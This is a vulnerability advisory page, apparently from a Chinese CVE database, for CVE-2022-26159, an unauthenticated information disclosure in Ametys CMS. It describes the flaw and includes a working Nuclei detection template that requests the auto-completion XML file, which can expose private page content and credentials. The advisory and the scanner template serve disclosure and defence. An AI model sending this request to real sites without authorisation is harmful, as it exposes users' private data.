CVE-2022-26159: Ametys CMS Information Disclosure

日期: 2025-08-01 | 影响软件: Ametys CMS | POC: 已公开

漏洞描述

Ametys CMS before 4.5.0 allows a remote unauthenticated attacker to read documents such as plugins/web/service/search/auto-completion/domain/en.xml (and similar pathnames for other languages) via the auto-completion plugin, which contain all characters typed by all users, including the content of private pages. For example, a private page may contain usernames, e-mail addresses, and possibly passwords.

PoC代码[已公开]

id: CVE-2022-26159

info:
  name: Ametys CMS Information Disclosure
  author: Remi Gascou (podalirius)
  severity: medium
  description: Ametys CMS before 4.5.0 allows a remote unauthenticated attacker to read documents such as plugins/web/service/search/auto-completion/domain/en.xml (and similar pathnames for other languages) via the auto-completion plugin, which contain all characters typed by all users, including the content of private pages. For example, a private page may contain usernames, e-mail addresses, and possibly passwords.
  impact: |
    The vulnerability can lead to the exposure of sensitive data, such as user credentials or system configuration.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the information disclosure vulnerability in Ametys CMS.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26159
    - https://podalirius.net/en/cves/2022-26159/
    - https://issues.ametys.org/browse/CMS-10973
    - https://github.com/p0dalirius/CVE-2022-26159-Ametys-Autocompletion-XML/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-26159
    cwe-id: CWE-425
    epss-score: 0.9158
    epss-percentile: 0.99661
    cpe: cpe:2.3:a:ametys:ametys:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ametys
    product: ametys
  tags: cve,cve2022,plugin,ametys,cms

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/web/service/search/auto-completion/domain/en.xml?q=adm'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<auto-completion>'
          - '<item>'
        condition: and

      - type: word
        part: header
        words:
          - 'text/xml'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a4b000ef6fed287be7e27d7697bd19f3268674aa2f0d9177b20ac42ec1b2674e022100903fdbf556e991d01c5f91aa5dc9d0e6c574934e9e3044d0cd1e9ca571d3e0c6:922c64590222798bb761d5b6d8e72950

相关漏洞推荐